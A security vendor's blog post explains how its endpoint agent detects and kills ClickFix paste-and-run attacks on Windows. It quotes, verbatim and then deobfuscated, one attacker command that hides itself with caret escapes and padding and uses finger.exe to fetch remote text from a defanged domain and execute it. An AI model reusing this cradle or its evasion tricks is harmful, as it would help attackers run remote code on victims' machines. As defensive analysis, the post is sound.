How Huntress Detects and Responds to a ClickFix Attack

If you're reading this, you probably don't need the ClickFix explainer. You've seen the fake CAPTCHA. You know a user is going to press Windows+R and paste something eventually. You may have already had the call. The question you're actually asking is harder: why didn't the tools you're already paying for stop the attack? What will actually work? That's a fair question, and the answer is uncomfortable. ClickFix doesn't beat endpoint security through sophistication. It beats it by not tripping any of the conditions that endpoint security is built around. The structural problem: there is typically nothing to block Nearly every endpoint control in the market, whether that's signature-based AV, next-gen AV, or most EDR, is built on a shared assumption. Something arrives. A macro-laden document, an unsigned binary in the temp folder, a malicious attachment, an exploit against an unpatched service. There's an artifact, and the job is to catch it on the way in. ClickFix doesn't always give you that artifact. The victim lands on a page telling them to prove they're human. They hit Windows+R. They paste a command they've been handed. They press Enter. That's the entire delivery mechanism. Usually, no dropper. No attachment. No exploit. No file on disk to hash, scan, or quarantine. From the endpoint's perspective, a user launching a program is the most ordinary thing they do all day. This is why the failure is a category problem, not a vendor problem. If your evaluation criteria are built around detonation, file reputation, or artifact analysis, ClickFix isn't a gap in your coverage; it's outside the coverage model entirely. A useful gut check: ask whoever you're currently paying what, specifically, they match on when there is no file. If the answer routes back to "we'd catch stage two," you already know what that costs. Because you will catch stage two. That's the second half of the problem. Catching it isn't the problem. Catching it in time is. Detection built on backend telemetry works. Ours does: our Detection Engineering team's alerting fires reliably on ClickFix. But it fires downstream, after execution. Telemetry ships, gets indexed, correlates, produces an alert, and an analyst picks it up. ClickFix chains move from stage one to stage two to stage three in mere seconds. So by the time any downstream system produces a verdict, the cradle (the few lines of script whose only job is to fetch the real payload and run it) has already had its opportunity to pull the payload. The infostealer already ran. The credentials are already gone. The rogue RMM is already installed. Your analyst or security provider isn't intervening in an attack. They're doing incident response on one that finished. That gap between "we detected it" and "we stopped it" is the entire ballgame with this technique, and it's the thing most evaluations never actually test. What stops ClickFix Three requirements follow from the above. They're worth applying to any vendor you're evaluating, including us. 1. It has to match the shape, not the artifact. If there's no file, the only thing left to match is the command itself: its structure, its obfuscation, its context. That means behavioral matching on command lines and process relationships, not reputation or detonation. 2. The decision has to happen on the endpoint, in milliseconds. Any architecture that requires a round trip to a backend has already lost to a chain that completes in seconds (if you are lucky). This is an architectural constraint, not a tuning problem; you can't configure your way out of network latency. 3. It has to be safe enough to leave on. A control aggressive enough to kill user-launched processes can break production. If it can't be trusted in enforcing mode, it's a dashboard, not a defense. Most tools that can do this ship it disabled, and it stays disabled. That third one is where most of these conversations end. How we built ours We started with our own data rather than assumptions. Over a 60-day window, we pulled everything ClickFix-related we could find and built a massive internal data dump, 8,332 items in all, then examined where in each process chain a malicious element actually sat. The result was both very messy and yet cleaner than expected. There were essentially no chains where the top-level process was clean, and the malicious behavior only appeared two or three stages down. The tell, whether that was the IEX /IRM cradle, the obfuscated LOLBIN invocation, or the URL, sat at the root of the chain or immediately adjacent to it. That matters because it means you don't need deep correlation across a long chain to make a confident call. The evidence is right there in the command the user pasted. It also revealed the chokepoint. When a user hits Windows+R and runs a command, the parent process is always explorer.exe . Not usually. Always. That's how the Run dialog works. The File Explorer address bar variants behave the same way, with the browser as parent. So the rule shape became: match the command line, gate it behind the parent. That parent gate is what makes it safe to be aggressive. An obfuscated download cradle is suspicious anywhere, and on its own, it's the kind of signal a team argues about: is this a real attack, or an admin script, or a developer doing something weird? An obfuscated download cradle spawned directly by Explorer, in an interactive user session, seconds after the user was browsing, has no innocent explanation. That's the difference between a detection you have to investigate before you can act on it, and one you can act on automatically. Where it runs, and why that's the whole point These rules run in the Attack Disruption engine inside the Huntress EDR agent: a lightweight micro-engine on the endpoint itself, matching behavior in real time. It doesn't wait for telemetry to reach our backend. When a command line matches, the process and its chain are terminated in under a second, and an accelerated signal fires to our 24/7 SOC simultaneously. The ordering is what differs from how most managed services work: the kill happens first, and the human review happens right behind it. Our SOC's industry-leading MTTR is excellent for investigation, scoping, and remediation. It is not fast enough to beat a chain that completes in mere seconds, and no SOC is. That's precisely why this decision was pushed down onto the agent. What it looks like when it fires Attack Disruption was running in enforce mode on a single user's laptop at a mining and natural resources company when a real incident unfolded. We've removed the details that identify the organization and defanged the domains. Everything else, including the attacker's command, is verbatim. Here is what the user pasted into the Run dialog: "C:\Windows\system32\cmd.exe" /c s^t^a^r^t "" /min for /f "delims=@" %k in (',f^^i^^n^^g^^e^^r UNyNQAplRS@f^^i^^n^^g^^e^^r^^.^^linkeders[.]net') do %k & ' ----------------P_u_s_h----t_h_e----_E_n_t_e_r_----k_e_y-- ' Three tricks are stacked in that one line, and each of them defeats a different control. The tail end is social engineering. That run of dashes is padding. The Run dialog is a single narrow field, so the padding scrolls the real command out of view and leaves the user looking at P_u_s_h t_h_e En_t_e_r_ k_e_y . The instruction the victim follows is inside the payload they're pasting. The carets defeat string matching. s^t^a^r^t is start . f^^i^^n^^g^^e^^r is finger . The caret is cmd's escape character, and it's discarded at parse time, so the command runs normally while matching nothing that looks for those words. Any control keyed to literals sees noise. And the payload is a Windows binary from 1991. Stripped of obfuscation, the command is: start "" /min for /f "delims=@" %k in ('finger UNyNQAplRS@finger[.]linkeders[.]net') do %k finger.exe ships with Windows and speaks a protocol older than the web. It fetches text from a remote host. The for /f construction captures that text and do %k executes it. So the download cradle is a signed Microsoft binary, the payload is a string, and /min hides the window. There is no file, no script, no curl , no PowerShell, and nothing for a scanner to look at. What Attack Disruption saw was the shape: an obfuscated command spawned directly by explorer.exe in an interactive session. It killed the chain as it built itself. 18:22:15.719 cmd.exe [24716] the pasted command, parent explorer.exe killed, lived 620ms 18:22:16.329 cmd.exe [20852] detached /K shell killed, lived 625ms 18:22:16.505 cmd.exe [36488] subshell invoking the cradle killed, lived 465ms 18:22:16.568 finger.exe [46640] the cradle itself killed, lived 397ms 18:22:16.970 chain dead Four processes, spawned and terminated inside 1.25 seconds. Every one of them lived for a second. The loop body was never executed. do %k is the step that runs whatever finger brings back, and it needs the shell at PID 20852 alive to run it. That shell was terminated at 18:22:16.954. finger.exe didn't exit until 18:22:16.965, eleven milliseconds later. Whatever came back over the wire had nothing left to execute it. Then the user tried again, five more times. Six pastes between 18:07 and 18:53, the same command each time, each one killed on arrival. That is what the technique looks like in practice: the person at the keyboard has been convinced they need to fix something, and a control that only warns is a control they will click past. Enforce mode is what makes the sixth attempt as dead as the first. The accelerated signal reached our SOC roughly 70 seconds after the first kill. The chain was already dead before a human knew it existed. The partner got a SOC-written incident report on the endpoint: what was pasted, what was killed, and what to check next. Nobody on their side had to notice anything first. Figure 1: ClickFix Initial Access Execution: Venari Tag Hit in enforce mode Note: The infrastructure named above was live at the time of this incident and may still be. Treat it as hostile: don't resolve it, don't visit it, and don't run any part of that command anywhere you care about. One thing we got wrong, and fixed Some ClickFix variants wrap the real work in start , which detaches the follow-on process from its parent. We'd kill the parent, successfully, and the payload retrieval would already be running in a fresh chain. Technically a kill. Practically a miss. Figure 2: The rule firing in Enforce mode: a ClickFix execution chain caught at cmd.exe and killed before the payload retrieval step. Username and SID redacted. The fix works from the opposite direction: a second rule that matches on the parent's command line and kills both parent and child. If the launcher carries the tell, it no longer matters what the payload calls itself, which also neutralizes randomly renamed runners, a common evasion. The launcher is built to exit the instant it has spawned its child, so it is usually gone before anything can reach it. What the second rule reliably gets is the live runner one step down (the "child"), the process that was going to fetch something. We didn't make the launcher killable. We stopped needing it to be. The ruleset has grown considerably since v1. A handful of broad rules became a much larger set of narrowly scoped, independently controlled sub-detections, with more still in audit, collecting data. Coverage now extends to homoglyph and Unicode abuse, scheme-less URIs, comment-block command construction, and a much wider LOLBIN surface. Why you can actually leave it on Requirement three is the one that decides whether any of this matters. Every Attack Disruption rule starts in audit mode. It detects, it signals, it takes no action. We run it against our entire customer base for weeks and watch every event it would have killed. Only rules that clear a strict efficacy bar of 99% accurate get promoted to enforcement. Nothing terminates processes on a partner endpoint based on a good idea. For you, that means three things: You don't write or tune these rules. They ship enabled and managed. This purchase implies no detection engineering headcount. The false positive budget is already spent. Huntress maintains a platform-wide false positive rate under 1% across 5M+ protected endpoints. On this specific ruleset, across thousands of kills in enforce mode, we have had to go back and fix a handful of individual false positives. Not a handful of percent. A handful. And if you do hit one, Huntress' award-winning support team is the path in, and the fix happens on our side of the line. It's not a separate line item. Attack Disruption is part of Managed EDR. Huntress pricing is a single price with no add-ons or service tiers, so you're not buying a ClickFix module. If you're an MSP, the operational translation is simpler: this is a category of 2am call that ends before anyone's phone rings, and a reimage you don't have to explain to a client. What this doesn't do ClickFix attacks are a moving target, and we'd rather you find the limits here than in a POC. This is disruption, not prevention. We are not preventing the user from running the command. That's a hardening problem, and it belongs to Managed ESPM. If a vendor tells you they've prevented ClickFix outright, ask them what they do about a user pasting into a terminal they legitimately have access to. This is Windows. The Run dialog, cmd.exe , and the LOLBin surface described here are all Windows, and so are these rules. Paste-based social engineering occurs on other platforms as well, so ask us about coverage there rather than assuming it carries over. Things still get through. Attackers rotate LOLBins, change obfuscation, and invent variants: FileFix, TerminalFix, DownloadFix, and whatever lands next quarter. Each new shape takes time to learn. Anyone claiming total coverage of this technique is selling you something without giving you the whole truth. Huntress doesn't claim to be perfect, and we know we will miss variations of these attacks, but we promise that when the time comes, we are heads down, deep in the weeds, researching the attack chain and building on our tooling, so that you don't have to. And when the agent-side kill loses the race, the backend detections still fire. The same chain that outran termination trips our rules on the way down, and it reaches a SOC analyst as an investigation rather than a kill. Slower than we want, but not silent. But the chokepoint holds. ClickFix is the initial access, the parent of whatever stage two turns out to be, whether that's an infostealer, a backdoor, or a rogue RMM. Kill it at the root, and nothing downstream will happen. And the two mechanics underneath it, an obfuscated command spawned by a process that has no business spawning it, are structural to the technique rather than incidental to any one campaign. Which means when the next variant appears, we're not starting from zero. We're adding a pattern to a rule already sitting in the right place. See it against your own environment The fastest way to evaluate any of this is to stop reading vendor content and watch what a tool actually does when a chain fires. Start a free trial: Deploy the agent and see Attack Disruption in your environment Get a demo: Walk a real, killed ClickFix chain with our team The EDR Buyer's Guide: Review our evaluation criteria for endpoint tooling, including the self-managed vs. managed tradeoff For the full technical breakdown of ClickFix, FileFix, TerminalFix, and DownloadFix, including host artifacts and detection chokepoints for each, see Tyler Bohlmann's "ClickFix Attack: Variants, Detection & How It Works".